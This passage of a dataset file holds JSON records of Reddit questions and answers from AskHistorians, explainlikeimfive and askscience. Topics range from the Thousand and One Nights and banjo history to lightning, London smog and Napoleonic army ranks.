["http://www.youtube.com/watch?v=Zpe7R_KgdVo"], [], [], [], [], ["http://www.youtube.com/watch?v=LJz55az43QQ"], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=sP8ZVWiZUMA"], [], [], [], [], [], []]}
{"q_id": "2qvdpe", "title": "In 1001 Arabian Nights, Dunyazad lays under the bed of King Shahrayar and Shahrazad when they have sex, despite knowing Dunyazad is there. What is the cultural context of this?", "selftext": "It just seems odd to have someone under the bed and to have sex above them, and then chat with Dunyazad as she sits under the bed. There is no explanation for this. What was the significance of this action?\n\nEDIT: in the context of the story, Shahrazad asks the king if she can say good-bye to her sister, Dunyazad before she is put to death. The King agrees, Dunyazad i summoned, the sisters say good-bye, Dunyazad goes under the bed, the king and Shahrazad have sex, then Dunyazad asks if Shahrazad will tell them a story. The king agrees, and Shahrazad tells both of them a story while Dunyazad is under the bed. Repeat this every night for 1001 nights.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qvdpe/in_1001_arabian_nights_dunyazad_lays_under_the/", "answers": {"a_id": ["cna6ohz", "cnabq77"], "score": [10, 84], "text": ["Follow up question: is this an acknowledgement that voyeurism may occur in private, but it is publicly condemned?", "I suspect that \"under the bed\" is a later addition by some prudish translator. You don't mention which version of *Thousand and One Nights* you refer to, so it's hard to tell.\n\nBriefly, *Thousand and One Nights* is not a single book. It exists in several different versions, each of which have one or more translations. The collection that eventually became the book was originally compiled in Sassanid Persia, in the 4th-6th century AD. It may derive from even older sources, since many of these earliest stories are taken directly from the Indian *Panchatantra* in Sanskrit.\n\nAfter the Sassanid Empire ended and the Islamic conquest of Persia, these stories were adopted by the Arabs. There are different Arabic versions of the *Thousand and One Nights*, belonging to one of two main traditions - the Egyptian and the Syrian, each with somewhat different stories and different styles. The Arabs continued to add to these stories for a thousand years. Modern translations can be quite different from each other based on which version they're based on.\n\nNone of the versions I've read mention Dunyazad sitting under the bed. They all mention that Dunyazad was present in the bedchamber, but don't say a word about where she was sitting. They imply that Dunyazad was in the bed too, not under it.\n\nFor example, here's the first night according to the John Payne translation (which comes from the Egyptian version):\n\n*Scheherazade rejoiced with an exceeding joy and made ready all that she needed, and said to her sister Dunyazad, \"O my sister, note well what I shall enjoin thee. When I go up to the Sultan, I will send after thee, and when thou comest to me and seest that the King has done his will of me, do thou say to me, 'O my sister, an thou be not asleep, tell us some of thy delightful stories, to pass away the watches of this our night.' Do this and (God willing) it shall be the means of my deliverance and of the ridding of the folk of this calamity, and by it I will turn the King from his custom.\"*\n\n*Dunyazad answered, \"It is well.\" And the Vizier carried Scheherazade to the King, who took her to his bed and fell to toying with her. But she wept, and he said to her, \"Why dost thou weep?\" \"O king of the age,\" answered she, \"I have a young sister and I desire to take leave of her this night and that she may take leave of me before the morning.\" So he sent for Dunyazad, and she waited till the Sultan had done his desire of her sister and they were all three awake, when she coughed and said, \"O my sister, an thou be not asleep, tell us one of thy pleasant stories, to beguile the watches of our night, and I will take leave of thee before the morning.\"*\n\n*\"With all my heart,\" answered Scheherazade, \"if the good king give me leave.\" The King being wakeful, was pleased to hear a story and said, \"Tell on.\" Whereat she rejoiced greatly and said, \"It is related, O august king, that ...*\n\nThere's no mention of sitting under any bed. It's pretty straightforward: Shahriyar takes Scheherazade to bed and is fondling her, Scheherazade starts crying, Shahriyar asks why, she says she wants to say goodbye to her sister. So Shahriyar sends for Dunyazad who arrives and waits until the king finishes making love to her sister Scheherazade, then prompts Scheherazade to tell a story.\n\nShe's not hiding anywhere, she's not under the bed. Scheherazade doesn't say \"when you hear that we've finished making love then ask me to tell a story\", she says \"when thou comest to me and **seest** that the King has done his will of me, do thou say to me ..\".\n\nNow you could argue that maybe Dunyazad was standing at the side of the bed, politely waiting for them to finish, but the story specifically says \"and she waited till the Sultan had done his desire of her sister and they were all three awake, when she coughed and said ..\". Why mention that all 3 were awake - surely if Dunyazad was waiting for the couple to finish, she'd naturally be awake. It seems likelier that she was in bed too, and the story is telling us that they'd finished but were still awake.\n\nRemember, these stories are fictional (so far as we know), so they're not talking about any real prince or princess. They reflect the customs of the times. The core of these stories and the framing device (Scheherazade telling one story each night) goes back to Sassanid Persia. Those are the times they reflect. If you're willing to accept a plot device that says the king married a new virgin every day and executed her the next morning, is it really stretching credulity that much farther to acknowledge that maybe these people didn't mind having two women in bed at the same time?\n\nLike I said, I don't know which particular translation this \"under the bed\" thing comes from, but it sounds to me very much like once the story was adopted by the Arabs and became part of the Islamic world, some scribe decided that it wouldn't do to have two sisters in the same bed with the king, so he decided to move one sister to under the bed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "38yus7", "title": "Are there reliable witness accounts of gladiators (bestirarii?) defeating/killing big predators such as lions, tigers , bears etc. in a 1v1 scenario in which the gladiator was armed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/38yus7/are_there_reliable_witness_accounts_of_gladiators/", "answers": {"a_id": ["crzf9xe"], "score": [11], "text": ["That is a tall order: a reliable, first-hand account of a one-on-one fight where the armed gladiator wins!\n\nI'm not sure if this checks off all of the requirements, but the best I could think of was Martial's On the Spectacles. This is about the opening games of the Flavian Ampitheatre, better known as the Colosseum. The poem is most famous for the Priscus v Verus fight, but Martial also discusses beast-fighting.\n\n >  That which was the highest glory of thy renown, Meleager, how small a part is it of Carpophorus' - fame, a stricken boar! He plunged his hunter's spear also in a headlong-rushing bear, the king of beasts beneath the cope of Arctic skies; and he laid low a lion, magnificent, of bulk unknown before, one worthy of Hercules' might; and with a far-dealt wound stretched in death a rushing pard. He won the prize of honour; yet unbroken still was his \nstrength.\n\nYou can look through it [here](_URL_0_) ."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://archive.org/stream/martialepigrams01martiala/martialepigrams01martiala_djvu.txt"]]}
{"q_id": "2betyb", "title": "What was the popular and critical reaction to the first issue of Playboy Magazine?", "selftext": "Were people appalled?  Were they pleased?  Were there articles about it in the mainstream press?  Did any politicians, celebrities, academics, or other public figures comment on it?  What did fans of Marilyn Monroe think?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2betyb/what_was_the_popular_and_critical_reaction_to_the/", "answers": {"a_id": ["cj50ipa"], "score": [36], "text": ["Follow up: How new/revolutionary was the concept of a magazine like playboy? Was it particularly noteworthy? Or are we just aware of it because it is the most successful magazine of its kind?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22uisb", "title": "How did the banjo, an instrument of African descent, become a staple of Anglo folk music?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22uisb/how_did_the_banjo_an_instrument_of_african/", "answers": {"a_id": ["cgqlgwe", "cgqmfxh", "cgqooz3", "cgqpwit", "cgqrom7"], "score": [24, 53, 7, 6, 92], "text": ["In the American South, the banjo appeared alongside the fiddle as the basis for folk dance music. Both instruments were loud and could project above a noisy dancehall. Other instruments were added, but fiddle  &  banjo were the core.\n\n'That Half-Barbaric Twang' is an excellent book about the banjo in early America:\n\n_URL_0_", "You mean North American folk music?", "Source for the claim that it's of African descent? ", "Concerning Irish Music, the banjo, more specifically the tenor banjo, became popular during the folk revival of the 60s. The primary influence for the tenor banjo in Irish folk, which also includes many English and Scottish songs, is credited to Barney McKenna of the Dubliners. He also changed the tuning of the instrument. Standard Tuning for a tenor banjo is the same as a mandola, which is CGDA. In this tuning you would commonly hear the tenor used to accompany Jazz/Dixieland songs by strumming.\n\nInterestingly enough, Barney originally wanted a mandolin but was unable to afford one so he go a banjo^[1](_URL_0_). Barney tuned the instrument up a fifth to the same tuning as a fiddle or mandolin just an octave lower. This allowed him to better interpret fiddle tunes.\n\nThe 5-string banjo however, has not been as popular in Irish Folk. Legends like Luke Kelly and Tommy Makem played a hybrid clawhammer/two-finger or scruggs (three-finger) style but it was to accompany their singing, not as a melody instrument like the tenor banjo.\n\nAs to how the banjo originally made it over to The British Isles. I don't have much knowledge on that. I speculate that it made it back with emigrants returning home after being in America and being exposed to it there. That is just my theory, however.\n\nEDIT: Just to illustrate the different uses of the tenor banjo (4-string) and the 5-string banjo:\n\n[Luke Kelly singing Mursheen Durkin playing a Seeger Longneck 5-string](_URL_2_). You can also see Barney McKenna sitting on the bench playing a tenor on the left.\n\n[Baney McKenna playing some reels on a tenor banjo](_URL_1_)\n\nEDIT #2: Fixing a mistake caught by u/NaptownBoss.\n", "Banjo player here.  The banjo has a complicated history, with many instances of cultural re-appropriation throughout its history.  \n\nThe modern-day banjo indeed descended from the West African tradition of [gourd-body lute instruments](_URL_0_), particularly the [Akonting](_URL_9_), which has three strings - two melody strings, and one short drone string (much like the contemporary banjo).\n\nAs Africans made their way to North America, they brought these instrumental traditions with them.  There is not a plethora of information about the banjo before its elevation in the 19th century, but [information we have](_URL_4_) references  the 'banjou', 'banger', 'banjar', 'banjer', 'banjoe', and 'banjo'.  In particular, the journal of Nichoas Cresswell, an English traveler, provides us one of the earliest mentions of the banjo being [played with a fiddle](_URL_3_)\n\nBy most accounts, beginnings of White cultural appropriation of the instrument start with Joel Walker Sweeney, a Virginian wheelwright who learned to play the instrument from African-Americans in his area.  Sweeney is credited with advancing the physical construction of the instrument away from a gourd based body to a drum-like construct.  In some accounts, Sweeney has also been credited with adding the short 5th string to the banjo, however there is no historical evidence to suggest this.  When we consider the Akonting, it becomes more likely that the short string was already part of the identity of the instrument before Sweeney.  \n\nIn the 1830's, Sweeney was the one who took the banjo into the minstrel show, which was a developing entertainment style with music, dancing, and acting.  With his group, the Virginia Minstrels, he performed in blackface, imitating the contemporary perception of the black slave.\n\nInterestingly enough, the minstrel show started out as white people performing in blackface, and then later, especially after the Civil War, many African-Americans would perform in their own minstrel shows, also in blackface.  So there became this interesting cultural dichotomy between the white minstrels who were imitating the black slaves, and the black minstrels who were imitating the white performers.  This in particular is one of the moments in banjo history where it becomes difficult to discuss the cultural identity of the instrument.\n\nIn the 1840's, Joel Walker Sweeney set out to elevate the banjo from its folk roots to a more respected \"Europeanized\" instrument.  He began to write and publish more developed 'art music' for the banjo.  This style of playing became extremely popular during the latter half of the 19th century, and reached its zenith of performance in the [1890s](_URL_1_).  This style of banjo playing, now known as [Classic Style](_URL_8_), used a free fingerpicking style (similar to classical guitar), in contrast to the older \"stroke\" style, which centered around the fingernail of the index or middle finger, and the thumb.  This style is also known as \"frailing\", or \"rapping\", but most commonly referred to today as [\"clawhammer\"](_URL_2_)\"\n\nWhile the 5-string banjo is the most commonly identified type of banjo in contemporary consciousness, it is important to mention the tenor banjo.  In the days of early jazz, the 4-string tenor banjo became the rhythm instrument of choice for accompaniment.  Played with a plectrum, and having more projection than the guitar, it was ideal for playing with the cornets, clarinets and trombones found in the Dixieland band.  The electric guitar eventually surpassed the tenor banjo as a more versatile and adaptable instrument to the evolving genre of jazz.  The tenor banjo also became popular to play in traditional [Irish Music](_URL_5_).  \n\nMost of my experience and knowledge centers around the 5-string banjo, so I cannot be of much help in discussing traditional Irish music, but it is my understanding that the banjo is a relatively new addition in the grand scheme of the performance of this music.  Many traditional Appalachian tunes are of Irish or English origin, so it seems natural in a sense for the banjo to find its way back to the source of some of its repertoire.\n\nDuring the rise in popularity of the banjo in the 19th century, many white southerners took up the clawhammer style to play what is now known as old-time music, a folk music rooted in songs, ballads, and tunes of British origin, and in many cases, original North American origin.  While this music has been played for several hundred years, it did not achieve any kind of popularity other than social music for gathering and dancing until the folk music revival of the 1960s.\n\nLastly, I want to take a moment to speak on the development of the style of banjo that most immediately comes to mind when most 21st century people think of the banjo: Scruggs-style, or 3-finger style.\n\nEarl Scruggs, a man from Flint Hill, North Carolina is responsible for developing the three finger style of playing.  While other banjo players such as Snuffy Jenkins would play with three fingers, Earl Scruggs is really the one who codified the style, and elevated it to a height of virtuosity and immense popularity.  His father played the frailing style of 5-string banjo.  Earl Scruggs's own recollection of the development of the style happened incidentally.  It is essentially an extension of a pre-existing [two-finger style](_URL_6_).\n\nHere is an excerpt from *Earl Scruggs and the 5-String Banjo: Revised and Enhanced Edition*, Earl Scruggs's banjo method book.\n\n\"I began learning to play banjo at the age of four.  I learned to pick with two fingers, using my thumb and index finger.  As I grew older I dreamed of playing three-finger style, which I had heard from time to time.  The year was 1934, and I was ten years old on the day my dream finally came true.\n\nMy brother, Horace, and I had been arguing as kids will sometimes do.  I grabbed a banjo and took it into another room.  I was angry and wanted to be left alone.  I sat down and began to pick, hoping to get the argument out of my mind.\n\nAnyway, I was sitting there in the room picking the tune [\"Reuben\"](_URL_7_) in D tuning and daydreaming at the same time.  I remember looking down at my right hand and waking up from the daydreams.  My eyes must have gotten bigger than baseballs -- I was picking with three fingers!\n\nI had never felt as excited in all of my ten years of life as I did at that moment.  I just kept staring at my right hand as I picked because I wanted to remember exactly what it was that my fingers were doing.  I was then that I started shouting, 'I got it! I got it!' I always took the banjo very seriously.\" (Scruggs 158)\n\nEarl Scruggs joined Bill Monroe's band in the early 1940's, and the rest is bluegrass history.  \n\nAs I said earlier, the banjo has a complicated history, but the critical period of the transition from it being identified as a slave instrument into one of the white man began with Joel Walker Sweeney and the minstrel shows of the 1830s.\n\nI could write a whole lot more about banjo here, but I feel like I have answered this question fairly well.  I am happy to answer any additional questions.\n\nFor more information about Minstrel shows, see:\n\nLott, Eric. Love and Theft: Blackface Minstrelsy and the American Working Class. New York: Oxford University Press, 1993."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.press.uillinois.edu/books/catalog/78exz4cw9780252064333.html"], [], [], ["http://www.barneymckenna.net/banjo%20barney%20mckenna%20musical%20legacy.htm", "https://www.youtube.com/watch?v=LM-IAlcq0uM", "https://www.youtube.com/watch?v=Rhpb_-QGPQ0"], ["http://www.shlomomusic.com/banjoancestors_folklutes.htm", "http://www.mnheritage.com/Excerpt.pdf", "https://www.youtube.com/watch?v=HdWOYFnRiz0", "http://memory.loc.gov/cgi-bin/ampage?collId=lhbtn&amp;fileName=30436/lhbtn30436.db&amp;recNum=45&amp;itemLink=r?ammem/lhbtn:@field\\(DOCID+@lit(lhbtn30436div8\\)):%23304360046&amp;linkText=1", "http://www.shlomomusic.com/banjoancestors_earlybanjos.htm", "https://www.youtube.com/watch?v=yiOWd7ArmWQ", "https://www.youtube.com/watch?v=bSlEy3YfuIs", "https://www.youtube.com/watch?v=Bqci8CdgkzU", "http://youtu.be/4XlaDB5PCH0", "https://www.youtube.com/watch?v=lzt0v9roU6g"]]}
{"q_id": "6m1bk1", "title": "how can lightning strikes cut trees in half, but whenever it strikes a human you don't usually hear about losing limbs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6m1bk1/eli5_how_can_lightning_strikes_cut_trees_in_half/", "answers": {"a_id": ["djy4pwu", "djy5s3h", "djy7d6l", "djyf16a", "djynhob", "djyr560"], "score": [76, 281, 190, 8, 3, 2], "text": ["People are mostly water so most of the electricity goes straight to the ground.   Trees have more resistance so more damage is done.  People are better conductors than trees. ", "The tree splits due to the pressure of the boiled sap inside it, not due to the lightening chopping or physically striking the tree. \n\nThis happens in a tree because there is enough resistance to the flow of electricity.  When there is enough oomph, like a lightening strike, the electricity is able to overcome the resistance but this creates heat and a lot of it.  \n\nThere is a lot of moisture in trees aside from the normal sap and this will boil into steam when heated up. \n\nSteam takes up much more space than the liquid it used to be and because it cant escape this will cause the tree to rupture, split, or explode. \n\nEdit: Unrelated cause but trees will also explode in the winter if enough of their moisture/sap freezes.  Water - >  ice takes up less space than water- > steam but still more than the water itself. ", "Electrician here. Trees have a higher resistance than humans do. This resistance to the flow of electricity causes more heat build-up in the tree as the lightning travels through it. Heat, causes the tree to explode. \n\nHumans on the other hand, are less resistant to the flow of electricity. So often times instead of exploding, just suffer extreme burns, shock, destruction of nervous tissue etc..... \n\n", "If you are referring to that recent pic that was just on the front page, apparently it was BS.", "In trees the electricity of the bolt travels through the sap, which overheats it causing it to explode.\n\nIn humans it generally travels through or on top of the skin (skin effect) which causes those lightning figures on the skin after being struck.", "Everybody here talks about trees having more resistance and that's the cause of it. But if games have taught me anything, shouldnt it be the other way around?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "ui95x", "title": "singing bowls", "selftext": "[Specifically this type](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ui95x/eli5_singing_bowls/", "answers": {"a_id": ["c4w05mn"], "score": [2], "text": ["You can think of it somewhat like a violin or something similar being bowed. By using the mallet (in the correct way, circling it around the top, not by simply striking it) the friction between the mallet and the bowl causes it to resonate at a certain frequency, this creating the pitch we hear. Similarly, the friction between the bow and the string causes the string to vibrate. Hopefully this makes a bit of sense!"]}, "title_urls": [], "selftext_urls": ["http://tibetansingingbowls.info/wp-content/blogs.dir/13/files/images/mantra-singing-bowl.jpg"], "answers_urls": [[]]}
{"q_id": "67i6mv", "title": "why does charging your phone while using the headphone jack cause interference, but not when the audio is playing through your usb cord?", "selftext": "I mainly notice this in cars. I understand EM fields and how cheaper auxiliary cords have less shielding for the audio signal. But why does the USB cord not cause interference with itself?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/67i6mv/eli5_why_does_charging_your_phone_while_using_the/", "answers": {"a_id": ["dgqkgd7"], "score": [8], "text": ["USB is digital, while 3.5mm jacks transmit an analog signal. The digital signal can tolerate some noise without losing quality, while the analog signal starts losing details right away.\n\n Think of the USB signal like a novel while the analog signal is a bunch of pictures. The interference causes some random noise to show up in the signal.\n\nThe novel is made up of letters, and there's only 26 letters in the English alphabet. Even if the letters get messed up a little bit, you'll still be able to tell what letters its supposed to be and be able to read the entire novel. If it gets too messed up, you won't be able to read it at all but you can tolerate a little noise without losing anything. \n\nWith the pictures, on the other hand, you start losing details as soon as it gets a little messed up. You can still get the gist of it with quite a bit of noise (think of old TV signals with static if you have a bad signal), but you lose some details with even a small amount of noise. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "51bp1o", "title": "What were the responsibilities of a Major/Lieutenant-Colonel in the Napoleonic *Grande Arm\u00e9e*?", "selftext": "(For clarity, I have italicised French ranks and left US/British ones unformatted)\n\nI've been reading John R. Elting's *Swords Around a Throne*, and one distinction of rank has confused me: I understand that the equivalent of the British/American rank of Major was the *Chef de Bataillon*, who commanded a battalion in battle, unlike British majors. Similarly, I understand that a *Colonel* commanded a Regiment, which was a formation of two or three battalions. \n\nWhat I don't understand is the rank of *Major*, equivalent to the British/US rank of Lieutenant Colonel. In contemporary British service, a Lieutenant Colonel commanded a battalion while a full colonel commanded the administrative unit of a regiment. However, since regiments were larger combat units in the *Grande Arm\u00e9e* and battalions were commanded by a *Chef de Batallion*, I can't work out what the responsibilities of a *Major* were. Did they command depot battalions or provisional regiments, or occupy some other administrative post? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/51bp1o/what_were_the_responsibilities_of_a/", "answers": {"a_id": ["d7axheu"], "score": [2], "text": ["The term you are after is Capitaine-adjudant. It was his responsibility to serve the administrative needs of the battalion, which more often than not was brigaded with other units from different regiments.\n\n A regiment is more of an administrative term where the Colonel would liaise at a brigade and divisional level. During campaign he would usually be present with the first battalion.\n\nDuring battle the important command structures would be Corp commander  >  general de division  >  general de brigade  >  chef de battailon (colonel first battalion)  >  captain.   \n\nHope that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cok8fs", "title": "why is japan's population crisis a \"crisis\"?", "selftext": "If overpopulation is a major issue facing humanity, why is it a crisis that one country is shrinking in population? Isn't that a good thing? Essentially I get that they have to replace the existing workforce but that can (and will be) done with automation. So, why is this a crisis and not a good thing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cok8fs/eli5_why_is_japans_population_crisis_a_crisis/", "answers": {"a_id": ["ewiqymq", "ewiro86", "ewismak", "ewj28ym"], "score": [8, 5, 2, 2], "text": ["Less people means less people working means less money exchanging hands means less spending means slower economy.\n\nEspecially in countries that are not as technological as Japan and need an abundance of labor. Japan is fortunate in the fact that they can swap to automation but other countries are not as fortunate so in general, shrinking populations are not something people want.", "First of All, Overpopulation is not a major issue facing humanity. In fact, outside of a few overcrowded locations it is not an issue at all. We are currently producing enough food to feed 10 billion people and tech is improving that production capability every year. The problem of lack of resources is an issue of logistics. \n\nAll social welfare systems require those who are working to take care of those who are incapable of working, be it financially via taxes or directly doing things for them. If your birth rate is below replacement rate that means you will at some point in the future have more people that are incapable of working than you have active workers and that means the support system will collapse. Automation only makes this problem worse as an automated job does not pay into the system.", "Lets say you are an office worker. One day you are sitting on the couch with your wife and you decide to build a house. You soon find out that you can\u2019t afford it, because construction personnel is scarce. You look out the window, seeing trash pile up. There aren\u2019t enough sanitation workers to answer to the demand. Your boss calls you shortly after. Many employees just quit, and they can\u2019t seem to find people to replace them. You have to work over hours without pay. Emails you write at work barely get answered because the other offices also have staff issues. When you have to go on a business trip the planes are delayed because there isn\u2019t enough ground crew to refuel and manage the airplanes. \n\nAll this costs money. It costs the government money to clean the streets; it costs the union money to encourage people to work in construction; it costs companies money if they don\u2019t have staff. \n\nOn the short term this is managable. Our economies are strong enough.\n\nOn the long term this causes serious problems. Tons of businesses without staff, no city services, you name it.", "Because the population is both shrinking and ageing, there's a decreasing number of people to care for elderly.\n\nThe global economy is generally geared for everlasting and continual growth.. stupid but that's the way it is right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "cd3re1", "title": "What's the closest thing in history to a civilian invasion of a classified military base like Area 51, and how did it end? [Serious]", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cd3re1/whats_the_closest_thing_in_history_to_a_civilian/", "answers": {"a_id": ["etrdjku"], "score": [3], "text": ["The Lawrence Livermore National Laboratory does all manner of research for the Department of Energy, but historically its flagship programs for the US have been on weaponized nuclear science (in part because of the scarcity of labs that are permitted to do such research - the research is prohibited in the US to the Livermore National Lab and one other facility, Los Alamos). As a result, and because of its proximity to the densely populated Bay Area, it has been the focus of annual protests that include coordinated trespasses. For the unfamiliar, the Livermore lab has done enough research in nuclear science that one of the synthetic elements, element 116, was named after the facility, Livermorium. \n\nThe largest protest is annual and occurs on Good Friday (but there are other trespass-activism protests on dates of historic significance to nuclear science/weaponization like the Hiroshima bombing). While they\u2019ve been getting smaller and smaller over the years (in part as the lab\u2019s focus on nuclear weapons for defense has shifted in the post-Soviet world and in part as the anti-nuclear movement ages), there was one in the early 80s where more than 1000 protestors were arrested. [New York Times article from the period discussing it](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nytimes.com/1982/06/22/us/1300-arrested-in-california-antinuclear-protest.html"]]}
{"q_id": "g2igu9", "title": "Does the Earth's magnetic core emit electromagnetic waves as it rotates?", "selftext": "Pretty much the title - changing magnetic fields cause electromagnetic waves to be emitted. The Earth, obviously, has a magnetic field, and if I remember correctly the magnetic field does vary from place to place on the Earth's surface. So, the rotation of the Earth on its axis should cause fluctuations in the magnetic field and emit radiation - right? It's been a while since I've done anything with induction. \n\nIf the Earth did emit such radiation, would it all be contained by the Earth's atmosphere and ionosphere, or would it be able to go into space? Would it be really longwave, more than any radio wave we use?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/g2igu9/does_the_earths_magnetic_core_emit/", "answers": {"a_id": ["fnmgcfv"], "score": [17], "text": ["Yes. Earths magnetic field is due to electric currents caused by convection currents of molten iron at outer core area. Most of it is pointing g up or down. If it was perfectly up and down and perfectly uniform, there shouldn\u2019t be a signal, but since it is not uniform, and since the magnetic Axis is both offset and tilted relative to the rotational axis of earth, there should be some EM waves due to that rotation.\n\nEdit: I don\u2019t know how significant this source is compared to other sources though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4zi7qn", "title": "During the 'Great Smog' (1952), around 4,000 Londoners died. When were industrial/automobile exhaust gases recognized as dangerous and/or polluting?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4zi7qn/during_the_great_smog_1952_around_4000_londoners/", "answers": {"a_id": ["d6w4cbw", "d6wu7tw"], "score": [14, 8], "text": ["Percivall Pott, an English surgeon, discovered an association between exposure to soot and a high incidence of scrotal cancer in chimney sweeps in 1775. This was the first occupational link to cancer, which ultimately led to the Chimney Sweeper\u2019s Act of 1788. Apparently, later they found a scrotal caner in an 8 year old chimney sweep's apprentice.\n\nThat gives you both a health association, and an actual legislative response, dating to 1775/1788. \n\nSource: _URL_1_ (which includes his essay)\n\nAs far as how it affects wildlife, the [Peppered Moth](_URL_0_), had long been used as an example of natural selection (in this case, caused by soot pollution covering trees) which has a black and white coloration. People had noticed that the blacker moths were becoming more prevalent - the darker colors survived better on soot-colored trees. With later studies, the lighter colored moths are more prevalent as pollution recedes.", "I hope I'm qualified to answer this question because my (ABD) PhD is in atmospheric science with a focus on air quality issues; I literally went into my thesis draft to pull out these (scientific) references!\n\nThe combustion of coal as the cause of SO2 smog formation, has been known for a few centuries.  In London the primary source, other than factories or coal power plants, was in every day houses due to meteorology; thus cold weather during the winter could lead to a much lower \"mixing layer\" over which smog can mix.  In addition to Percival Potts, John Evelyn in the 17th century made a treatise suggesting that air pollution was the result of burning high-sulfur coal [1].\n\nStarting in the 1940s, people in Los Angeles air basin began to notice major smog incidents.  In contrast to SO2 pollution that plagued London, this pollution seemed to occur primarily during bright and warm conditions, was accompanied by eye-watering incidents, and couldn't be explained by coal burning as Los Angeles then wasn't a major industrial center.  \n\nIn 1952 and 1953, around the same time as the Great Smog of London, Caltech plant biologist Arie Haagen Smit published two papers detailing how exhaust from the brand new automobile reacted photochemically (in other words, in sunlight) with organic compounds to produce ozone and other byproducts.  This \"photochemical smog\" is, in contrast to Sulfur pollution, found to be directly tied to automobile exhaust, and both have since been observed worldwide in many major automobile-heavy urban areas. \n\n\n\n\n\n\nReferences:\n\n[1] Evelyn, J. (1661). \"Fumifugium, or, The inconveniencie of the aer and smoak of London dissipated together with some remedies humbly proposed / by J.E. esq. to His Sacred Majestie, and to the Parliament now assembled.\"\n\n[2] Haagen Smit, A. J. (1952).  Chemistry and physiology of Los Angeles smog. Ind. Eng. Chem., 44, 1342-1346.\n\n[3] Haagen-Smit, A. J., C. E. Bradley, M. M. Fox (1953).  Ozone formation in Photochemical Oxidation of Organic Substances.  Ind.  Eng. Chem., 45, 2086-2089.\n\nMoreover, since Haagen-Smit's papers are historically signficant science papers you can now find them online outside of academic pay walls,  and can read them yourself, both for the scientific details and for the, uh, scientific techniques that would never fly today like putting human test subjects into a chamber and pumping automobile exhaust into it, in order to see what happens. \n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Peppered_moth_evolution", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1037746/pdf/brjindmed00217-0074.pdf"], ["http://cires1.colorado.edu/jimenez/AtmChem/2013/Haagen-Smit_1952_IndEngChem_LA_smog_paper.pdf", "http://web.gps.caltech.edu/classes/ese172/haagen_smit_1953.pdf"]]}
{"q_id": "13kluh", "title": "Can you get parasites from eating rare or medium rare steak?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13kluh/can_you_get_parasites_from_eating_rare_or_medium/", "answers": {"a_id": ["c74rvfw"], "score": [17], "text": ["Yes. The protozoan *Sarcocystis hominis* and beef tapeworm (*Taenia saginata*). The former resolves on its own after a few days; the latter sets up home in the colon and sheds a gazillion eggs, but is generally without symptoms unless one is heavily colonized with worms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tragy", "title": "why are non-muslims not allowed to visit mecca?", "selftext": "Whereas Buddhist temples or Christian churches or Jewish synagogues are open to the public as long as they don't cause trouble? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tragy/eli5_why_are_nonmuslims_not_allowed_to_visit_mecca/", "answers": {"a_id": ["cx8iwvp", "cx8ixvj", "cx8izea"], "score": [7, 54, 13], "text": ["Mecca is a holy city for Islam and while the surrounding states may allow for outsiders to visit and even promote it for tourist profits, it would be highly frowned upon for non-Muslims to enter the city-state just due to the doctrine within Islam to disallow non Muslim followers in to sacred land. ", "Because the Saudi government is crazy.\n\nThat's pretty much it. They're complete nutjobs who subscribe to their own brand of hyper-conservative and xenophobic Islam.", "In the Quran, it says in Surah 9:\n\n >  O you who have believed, indeed the polytheists are unclean, so let them not approach al-Masjid al-Haram after this, their [final] year.\n\nThe Masjid al-Haram is the one in Mecca, so the Saudi government interprets this as not allowing non-Muslims into the city."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
